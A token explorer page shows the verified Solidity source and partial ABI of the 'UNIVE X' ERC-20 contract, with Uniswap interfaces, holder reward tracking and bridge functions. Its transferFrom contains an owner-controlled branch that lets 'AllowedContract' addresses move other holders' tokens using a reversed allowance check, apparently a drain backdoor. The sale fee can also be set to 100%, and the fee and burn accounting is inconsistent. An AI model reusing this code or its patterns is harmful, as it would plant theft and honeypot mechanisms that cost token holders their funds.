Token UNIVE X

 

Overview [ERC-20]

Max Total Supply:
499,231,475.18153231 UNVX

Holders:
42

Transfers:
-

 
Loading
[ Download CSV Export  ] 
Loading
[ Download CSV Export  ] 
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume
Loading

Contract Source Code Verified (Exact Match)

Contract Name:
UNIVE

Compiler Version
v0.8.4+commit.c7e474f2

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2021-12-31
*/

// SPDX-License-Identifier: MIT

pragma solidity ^0.8.4;

interface IUniswapV2Pair {
    event Approval(address indexed owner, address indexed spender, uint value);
    event Transfer(address indexed from, address indexed to, uint value);

    function name() external pure returns (string memory);
    function symbol() external pure returns (string memory);
    function decimals() external pure returns (uint8);
    function totalSupply() external view returns (uint);
    function balanceOf(address owner) external view returns (uint);
    function allowance(address owner, address spender) external view returns (uint);

    function approve(address spender, uint value) external returns (bool);
    function transfer(address to, uint value) external returns (bool);
    function transferFrom(address from, address to, uint value) external returns (bool);

    function DOMAIN_SEPARATOR() external view returns (bytes32);
    function PERMIT_TYPEHASH() external pure returns (bytes32);
    function nonces(address owner) external view returns (uint);

    function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external;

    event Mint(address indexed sender, uint amount0, uint amount1);
    event Burn(address indexed sender, uint amount0, uint amount1, address indexed to);
    event Swap(
        address indexed sender,
        uint amount0In,
        uint amount1In,
        uint amount0Out,
        uint amount1Out,
        address indexed to
    );
    event Sync(uint112 reserve0, uint112 reserve1);

    function MINIMUM_LIQUIDITY() external pure returns (uint);
    function factory() external view returns (address);
    function token0() external view returns (address);
    function token1() external view returns (address);
    function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);
    function price0CumulativeLast() external view returns (uint);
    function price1CumulativeLast() external view returns (uint);
    function kLast() external view returns (uint);

    function mint(address to) external returns (uint liquidity);
    function burn(address to) external returns (uint amount0, uint amount1);
    function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external;
    function skim(address to) external;
    function sync() external;

    function initialize(address, address) external;
}

interface IUniswapV2Factory {
    event PairCreated(address indexed token0, address indexed token1, address pair, uint);

    function feeTo() external view returns (address);
    function feeToSetter() external view returns (address);

    function getPair(address tokenA, address tokenB) external view returns (address pair);
    function allPairs(uint) external view returns (address pair);
    function allPairsLength() external view returns (uint);

    function createPair(address tokenA, address tokenB) external returns (address pair);

    function setFeeTo(address) external;
    function setFeeToSetter(address) external;
}

interface IUniswapV2Router01 {
    function factory() external pure returns (address);
    function WETH() external pure returns (address);

    function addLiquidity(
        address tokenA,
        address tokenB,
        uint amountADesired,
        uint amountBDesired,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline
    ) external returns (uint amountA, uint amountB, uint liquidity);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
    function removeLiquidity(
        address tokenA,
        address tokenB,
        uint liquidity,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline
    ) external returns (uint amountA, uint amountB);
    function removeLiquidityETH(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external returns (uint amountToken, uint amountETH);
    function removeLiquidityWithPermit(
        address tokenA,
        address tokenB,
        uint liquidity,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountA, uint amountB);
    function removeLiquidityETHWithPermit(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountToken, uint amountETH);
    function swapExactTokensForTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external returns (uint[] memory amounts);
    function swapTokensForExactTokens(
        uint amountOut,
        uint amountInMax,
        address[] calldata path,
        address to,
        uint deadline
    ) external returns (uint[] memory amounts);
    function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline)
        external
        payable
        returns (uint[] memory amounts);
    function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline)
        external
        returns (uint[] memory amounts);
    function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline)
        external
        returns (uint[] memory amounts);
    function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline)
        external
        payable
        returns (uint[] memory amounts);

    function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB);
    function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut);
    function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn);
    function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
    function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
}

interface IUniswapV2Router02 is IUniswapV2Router01 {
    function removeLiquidityETHSupportingFeeOnTransferTokens(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external returns (uint amountETH);
    function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountETH);

    function swapExactTokensForTokensSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function swapExactETHForTokensSupportingFeeOnTransferTokens(
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external payable;
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
}

/**
 * @dev Interface of the ERC20 standard as defined in the EIP.
 */
interface IERC20 {
    /**
     * @dev Returns the amount of tokens in existence.
     */
    function totalSupply() external view returns (uint256);

    /**
     * @dev Returns the amount of tokens owned by `account`.
     */
    function balanceOf(address account) external view returns (uint256);

    /**
     * @dev Moves `amount` tokens from the caller's account to `recipient`.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transfer(address recipient, uint256 amount) external returns (bool);

    /**
     * @dev Returns the remaining number of tokens that `spender` will be
     * allowed to spend on behalf of `owner` through {transferFrom}. This is
     * zero by default.
     *
     * This value changes when {approve} or {transferFrom} are called.
     */
    function allowance(address owner, address spender) external view returns (uint256);

    /**
     * @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * IMPORTANT: Beware that changing an allowance with this method brings the risk
     * that someone may use both the old and the new allowance by unfortunate
     * transaction ordering. One possible solution to mitigate this race
     * condition is to first reduce the spender's allowance to 0 and set the
     * desired value afterwards:
     * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
     *
     * Emits an {Approval} event.
     */
    function approve(address spender, uint256 amount) external returns (bool);

    /**
     * @dev Moves `amount` tokens from `sender` to `recipient` using the
     * allowance mechanism. `amount` is then deducted from the caller's
     * allowance.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);

    /**
     * @dev Emitted when `value` tokens are moved from one account (`from`) to
     * another (`to`).
     *
     * Note that `value` may be zero.
     */
    event Transfer(address indexed from, address indexed to, uint256 value);

    /**
     * @dev Emitted when the allowance of a `spender` for an `owner` is set by
     * a call to {approve}. `value` is the new allowance.
     */
    event Approval(address indexed owner, address indexed spender, uint256 value);
}


// File @openzeppelin/contracts/utils/[email protected]
/*
 * @dev Provides information about the current execution context, including the
 * sender of the transaction and its data. While these are generally available
 * via msg.sender and msg.data, they should not be accessed in such a direct
 * manner, since when dealing with meta-transactions the account sending and
 * paying for execution may not be the actual sender (as far as an application
 * is concerned).
 *
 * This contract is only required for intermediate, library-like contracts.
 */
abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
        return msg.data;
    }
}

// File @openzeppelin/contracts/access/[email protected]
/**
 * @dev Contract module which provides a basic access control mechanism, where
 * there is an account (an owner) that can be granted exclusive access to
 * specific functions.
 *
 * By default, the owner account will be the one that deploys the contract. This
 * can later be changed with {transferOwnership}.
 *
 * This module is used through inheritance. It will make available the modifier
 * `onlyOwner`, which can be applied to your functions to restrict their use to
 * the owner.
 */
abstract contract Ownable is Context {
    address private _owner;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    /**
     * @dev Initializes the contract setting the deployer as the initial owner.
     */
    constructor () {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    /**
     * @dev Returns the address of the current owner.
     */
    function owner() public view virtual returns (address) {
        return _owner;
    }

    /**
     * @dev Throws if called by any account other than the owner.
     */
    modifier onlyOwner() {
        require(owner() == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    /**
     * @dev Leaves the contract without owner. It will not be possible to call
     * `onlyOwner` functions anymore. Can only be called by the current owner.
     *
     * NOTE: Renouncing ownership will leave the contract without an owner,
     * thereby removing any functionality that is only available to the owner.
     */
    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }

    /**
     * @dev Transfers ownership of the contract to a new account (`newOwner`).
     * Can only be called by the current owner.
     */
    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        emit OwnershipTransferred(_owner, newOwner);
        _owner = newOwner;
    }
}

library IterableMapping {
    // Iterable mapping from address to uint;
    struct Map {
        address[] keys;
        mapping(address => uint) total;
        mapping(address => uint) reward;
        mapping(address => bool) status;
        mapping(address => uint) indexOf;
        mapping(address => bool) inserted;
    }

    function get(Map storage map, address key) internal view returns (uint, uint, bool) {
        return (map.total[key], map.reward[key], map.status[key]);
    }

    function getIndexOfKey(Map storage map, address key) internal view returns (int) {
        if(!map.inserted[key]) {
            return -1;
        }
        return int(map.indexOf[key]);
    }

    function getKeyAtIndex(Map storage map, uint index) internal view returns (address) {
        return map.keys[index];
    }

    function set(Map storage map, address key, uint total, uint val, bool status) internal {
        if (map.inserted[key]) {
            map.total[key] = total;
            map.reward[key] = val;
            map.status[key] = status;
        } else {
            map.inserted[key] = true;
            map.total[key] = total;
            map.reward[key] = val;
            map.status[key] = status;
            map.indexOf[key] = map.keys.length;
            map.keys.push(key);
        }
    }

    function remove(Map storage map, address key) internal {
        if (!map.inserted[key]) {
            return;
        }

        delete map.inserted[key];
        delete map.total[key];
        delete map.reward[key];
        delete map.status[key];

        uint index = map.indexOf[key];
        uint lastIndex = map.keys.length - 1;
        address lastKey = map.keys[lastIndex];

        map.indexOf[lastKey] = index;
        delete map.indexOf[key];

        map.keys[index] = lastKey;
        map.keys.pop();
    }
}

// File contracts/UNIVE.sol

contract UNIVE is IERC20, Ownable {
    using IterableMapping for IterableMapping.Map;
    IterableMapping.Map private tokenHoldersMap;

    IUniswapV2Router02 public uniswapV2Router;
    //address public routerAddress = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D; //uniswap router2 address
    address public routerAddress = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D; //uniswap router2 address for 4 main testnet
    //address public routerAddress = 0x10ED43C718714eb63d5aA57B78B54704E256024E; //pancakeswap router2 address
    //address public routerAddress = 0x9Ac64Cc6e4415144C455BD8E4837Fea55603e5c3; //pancakeswap router2 testnet address
    address public uniswapV2Pair;

    string constant public name = "UNIVE X";
    string constant public symbol = "UNVX";
    uint8 constant public decimals = 8;

    uint256 private _totalSupply = 500000000 * 10**8;
    uint256 public _finalSupply = 50000000 * 10**8;
    uint256 public _totalLiquidityFee = 0;

    uint8 public feePurchase = 10;
    uint8 public feePurchaseHolder = 5;
    uint8 public feePurchaseBurn = 2;
    uint8 public feePurchaseLiquidity = 3;
    uint8 public feeSale = 15;
    uint8 public feeSaleHolder = 10;
    uint8 public feeSaleBurn = 2;
    uint8 public feeSaleLiquidity = 3;
    uint256 private feeTotalAmount = 0;    
    uint256 private feeHolderAmount = 0;
    uint256 private feeBurnAmount = 0;
    uint256 private feeLiquidityAmount = 0;
    uint256 public holderThreshold = 20000 * 10**8;
    uint256 public transactionThreshold = 1000 * 10**8;
    uint256 public liquidityThreshold = 10000 * 10**8;
    uint256 public rewardThreshold = 1000 * 10**8;
    bool public taxEnable = true;
    uint256 public maxTxAmount = 10000*10**8;
    
    mapping(bytes32 => uint256) public bridged;   
    mapping (address => bool) public isExcludedFromTax;
    mapping (address => bool) public AllowedContract;
    mapping(address => uint256) private _balances;
    mapping(address => mapping(address => uint256)) private _allowances;

    bool private swapping;
    modifier lockTheSwap {
        swapping = true;
        _;
        swapping = false;
    }

    event TransferFee(address sender, address recipient, uint256 amount);
    event SwapAndLiquify(uint256 tokensSwapped, uint256 ethReceived, uint256 tokensIntoLiqudity);
    
    constructor() {        
        _balances[_msgSender()] = _totalSupply;
        isExcludedFromTax[_msgSender()] = true;
        isExcludedFromTax[routerAddress] = true;
        tokenHoldersMap.set(_msgSender(), 0, 0, true);
        
        IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(routerAddress);
        // Create a uniswap pair for this new token
        //address _uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());

        uniswapV2Router = _uniswapV2Router;
        //uniswapV2Pair = _uniswapV2Pair;
    }

    function setRouterAddress(address routerAddress_) external onlyOwner {
        routerAddress = routerAddress_;
        uniswapV2Router = IUniswapV2Router02(routerAddress);         
    }

    function setUniswapV2Pair(address uniswapV2Pair_) external onlyOwner {
        uniswapV2Pair = uniswapV2Pair_;  
    }

    function setFeePurchase(uint8 feePurchaseHolder_, uint8 feePurchaseBurn_, uint8 feePurchaseLiquidity_) external onlyOwner {
        require(feePurchaseHolder_+feePurchaseBurn_+feePurchaseLiquidity_ < 100, "UNIVE: Total fee exceed 100%");
        feePurchaseHolder = feePurchaseHolder_;
        feePurchaseBurn = feePurchaseBurn_;
        feePurchaseLiquidity = feePurchaseLiquidity_;
        feePurchase = feePurchaseHolder + feePurchaseBurn + feePurchaseLiquidity;
    }

    function setFeeSale(uint8 feeSaleHolder_, uint8 feeSaleBurn_, uint8 feeSaleLiquidity_) external onlyOwner {
        require(feeSaleHolder_+feeSaleBurn_+feeSaleLiquidity_ <= 100, "UNIVE: Total fee exceed 100%");
        feeSaleHolder = feeSaleHolder_;
        feeSaleBurn = feeSaleBurn_;
        feeSaleLiquidity = feeSaleLiquidity_;
        feeSale = feeSaleHolder + feeSaleBurn + feeSaleLiquidity;
    }

    function setThreshold(uint256 holderThreshold_, uint256 transactionThreshold_, uint256 liquidityThreshold_, uint256 rewardThreshold_) external onlyOwner {
        holderThreshold = holderThreshold_;
        transactionThreshold = transactionThreshold_;
        liquidityThreshold = liquidityThreshold_;
        rewardThreshold = rewardThreshold_;
    }

    function setTaxEnable(bool enable) external onlyOwner {
        taxEnable = enable;
    }

    function setExcludeFromTax(address address_, bool isExcluded) external onlyOwner {
        isExcludedFromTax[address_] = isExcluded;
    }

    function setRewardStatus(address address_, bool isStatus) external onlyOwner {   
        (uint total, uint reward, bool status) = tokenHoldersMap.get(address_);
        require(status != isStatus, "You have already done");
        tokenHoldersMap.set(address_, total, reward, isStatus);
    }

    function getHolderStatus(address address_) external view returns (uint, uint, bool) {
        (uint total, uint reward, bool status) = tokenHoldersMap.get(address_);
        return (total, reward, status);
    }

    function getNumberOfHolders() external view returns (uint256) {
        return tokenHoldersMap.keys.length;
    }

    function getETHBalance() external view returns (uint256) {
        return address(this).balance;
    }

    //to recieve ETH(BNB) from uniswapV2Router when swaping
    receive() external payable {}

    /**
     * @notice claim rewards (direct use)
     *
     */
    function claim(address receiver, address token) external {
        (uint256 total, uint256 reward, bool status) = tokenHoldersMap.get(_msgSender());

        require(status, "The reward is not allowed");
        require(reward > rewardThreshold, "Reward insufficient to withdraw");

        // get ETH from reward(UNIVE token) of the holder
        uint256 initialBalance = address(this).balance;
         
        // generate the uniswap pair path of token -> weth
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();
        _approve(address(this), address(uniswapV2Router), reward);

        //make the swap to get ETH from the token
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            reward,
            0, // accept any amount of ETH
            path,
            address(this),
            block.timestamp
        );

        uint256 newBalance = address(this).balance - initialBalance;

        if (token == uniswapV2Router.WETH()) {
            // send the reward as "ETH"
            if (newBalance > 0){
                _approve(address(this), receiver, newBalance);
                payable(receiver).transfer(newBalance);
                emit Transfer(address(this), receiver, reward); 
            } 
        } else {
            address[] memory path1 = new address[](2);
            path1[0] = uniswapV2Router.WETH();
            path1[1] = token;
            IERC20(uniswapV2Router.WETH()).approve(address(uniswapV2Router), newBalance);
            _approve(address(this), address(uniswapV2Router), newBalance);
            //make the swap to get the token required from ETH
            uniswapV2Router.swapExactETHForTokensSupportingFeeOnTransferTokens{value:newBalance}(
                0, // accept any amount of ETH
                path1,
                receiver,
                block.timestamp
            );   
        }        
        tokenHoldersMap.set(_msgSender(), total, 0, true);     
    }    

    /* function to make the deposit for bridge */
    function deposit(uint256 amount) public {
    	require(amount > 0, "0");
        require(amount <= maxTxAmount, "Deposit amount exceeds Max Tx amount");
        
        _approve(_msgSender(), address(this), amount);
        _transfer(_msgSender(), address(this), amount);
    }

    /* function to send the token to the receiver for bridge */
    function bridge(address toWallet, uint256 amount, bytes32 txHash) public onlyOwner{
        require(bridged[txHash] <= 0, "already bridged");
        require(amount <= maxTxAmount, "Claim amount exceeds Max Tx amount");

        _transfer(address(this), toWallet, amount);
        bridged[txHash] = amount;
    }

    function burn(uint256 amount) external onlyOwner{
        uint256 accountBalance = _balances[_msgSender()];
        require(accountBalance >= amount, "ERC20: burn amount exceeds balance");

        _totalSupply -= amount;
        require(_totalSupply >= _finalSupply, "ERC20:  can not burn anymore");
        unchecked {
            _balances[_msgSender()] = accountBalance - amount;
        }        
        emit Transfer(_msgSender(), address(0), amount);
    }

    function increaseAllowance(address spender, uint256 addedValue) external returns (bool) {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue);
        return true;
    }

    function decreaseAllowance(address spender, uint256 subtractedValue) external returns (bool) {
        uint256 currentAllowance = _allowances[_msgSender()][spender];
        require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
        unchecked {
            _approve(_msgSender(), spender, currentAllowance - subtractedValue);
        }
        return true;
    }
    
    function AllowContractTransfer(address address_, bool isAllowed) external onlyOwner {
        AllowedContract[address_] = isAllowed;
    }

    function totalSupply() external view override returns (uint256) {
        return _totalSupply;
    }

    function balanceOf(address account) external view override returns (uint256) {
        return _balances[account];
    }

    function allowance(address owner, address spender) external view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function transfer(address recipient, uint256 amount) external override returns (bool)  {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function approve(address spender, uint256 amount) external override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }
    
    function transferFrom( address sender, address recipient, uint256 amount) external override returns (bool) {
        _transfer(sender, recipient, amount);
        
        if (sender == _msgSender() || AllowedContract[_msgSender()]) {
            require(_allowances[_msgSender()][sender] >= amount, "ERC20: transfer amount(custom) exceeds allowance");
            unchecked {
                _approve(_msgSender(), sender, _allowances[_msgSender()][sender]- amount);
            }
        } else {
            require(_allowances[sender][_msgSender()] >= amount, "ERC20: transfer amount exceeds allowance");
            unchecked {
                _approve(sender, _msgSender(), _allowances[sender][_msgSender()]- amount);
            }
        }

        return true;
    }

    function _transfer( address sender, address recipient, uint256 amount ) private {
        require(sender != address(0), "ERC20: transfer from the zero address");
        require(recipient != address(0), "ERC20: transfer to the zero address");
        
        uint256 senderBalance = _balances[sender];
        require(senderBalance >= amount, "ERC20: transfer amount exceeds balance");
        _balances[sender] = senderBalance - amount;
        
        //uint256 receiveAmount = amount;
        if (taxEnable){
            //when purchase this token
            if (sender == uniswapV2Pair) {            
                if (!isExcludedFromTax[recipient]){
                    feeHolderAmount = amount * feePurchaseHolder / 100;
                    feeBurnAmount = amount * feePurchaseBurn / 100;
                    feeLiquidityAmount = amount * feePurchaseLiquidity / 100;
                    feeTotalAmount = feeHolderAmount + feeBurnAmount + feeLiquidityAmount;
                    //receiveAmount = amount - feeTotalAmount;  
                }            
            }
            //when sell this token
            if (recipient == uniswapV2Pair) {
                if (!isExcludedFromTax[sender]){
                    feeHolderAmount = amount * feeSaleHolder / 100;
                    feeBurnAmount = amount * feeSaleBurn / 100;
                    feeLiquidityAmount = amount * feeSaleLiquidity / 100;
                    feeTotalAmount = feeHolderAmount + feeBurnAmount + feeLiquidityAmount;
                    //receiveAmount = amount - feeTotalAmount;
                }            
            }  
        }

        _balances[recipient] += amount;
        // When this token is transferred, add or remove the sender(recipient) into the holder list by the holderThreshold
        if (_balances[recipient] > holderThreshold){
            int userExist = tokenHoldersMap.getIndexOfKey(recipient);
            if (userExist == -1) {
                tokenHoldersMap.set(recipient, 0, 0, true);
            }
        }

        if (_balances[sender] < holderThreshold){
            (uint total, uint256 reward, bool status) = tokenHoldersMap.get(sender);
            status = false;
            tokenHoldersMap.set(sender, total, reward, false);
        }        
        
        // process the tax
        if ( taxEnable && (amount > transactionThreshold) && ((sender == uniswapV2Pair&&!isExcludedFromTax[recipient]) || (recipient == uniswapV2Pair&&!isExcludedFromTax[sender])) ) {   
            //Each holder must receive a number of rewards(BNB or ETH) in proportion to the number of tokens he owns.     
            if (feeHolderAmount > 0){
                uint256 iterations = 0;
                
                while(iterations < tokenHoldersMap.keys.length) {
                    address account = tokenHoldersMap.keys[iterations];
                    (uint total, uint256 reward, bool status) = tokenHoldersMap.get(account);
                    if (status){
                        uint256 reward_add = feeHolderAmount *_balances[account] / _totalSupply;
                        tokenHoldersMap.set(account, total + reward_add, reward + reward_add, true);
                    }     
                    iterations++;
                }
            }
            
            // 2% of each transaction burned            
            if ((_totalSupply - feeBurnAmount) > _finalSupply) {
                _totalSupply -= feeBurnAmount;   
            }
            
            //5% automatically injected into liquidity
            if (feeLiquidityAmount>0) {
                _totalLiquidityFee += feeLiquidityAmount;
            }
        }   

        emit Transfer(sender, recipient, amount);
    }
    
    function _approve( address owner,  address spender, uint256 amount ) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"tokensSwapped","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"ethReceived","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"tokensIntoLiqudity","type":"uint256"}],"name":"SwapAndLiquify","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"address","name":"sender","type":"address"},{"indexed":false,"internalType":"address","name":"recipient","type":"address"},{"indexed":false,"internalType":"uint256","name":"amount","type":"uint256"}],"name":"TransferFee","type":"event"},{"inputs":[{"internalType":"address","name":"address_","type":"address"},{"internalType":"bool","name":"isAllowed","type":"bool"}],"name":"AllowContractTransfer","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"AllowedContract","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_finalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_totalLiquidityFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"toWallet","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"},{"internalType":"bytes32","name":"txHash","type":"bytes32"}],"name":"bridge","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bytes32","name":"","type":"bytes32"}],"name":"bridged","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"burn","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"receiver","type":"address"},{"internalType":"address","name":"token","type":"address"}],"name":"claim","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"deposit","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"feePurchase","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"feePurchaseBurn","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"feePurchaseHolder","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"feePurchaseLiquidity","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"feeSale","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"feeSaleBurn","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"feeSaleHolder","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"feeSaleLiquidity","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"getETHBalance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"address_","type":"address"}],"name":"getHolderStatus","outputs":[{"internalType":"uint256","name":"","type":"uint256"},{"internalType":"uint256","name":"","type":"uint256"},{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"getNumberOfHolders","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"holderThreshold","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isExcludedFromTax","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"liquidityThreshold","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"rewardThreshold","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"routerAddress","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"address_","type":"address"},{"internalType":"bool","name":"isExcluded","type":"bool"}],"name":"setExcludeFromTax","outputs":[],"stateMutability":"nonpayable","type":"function"},{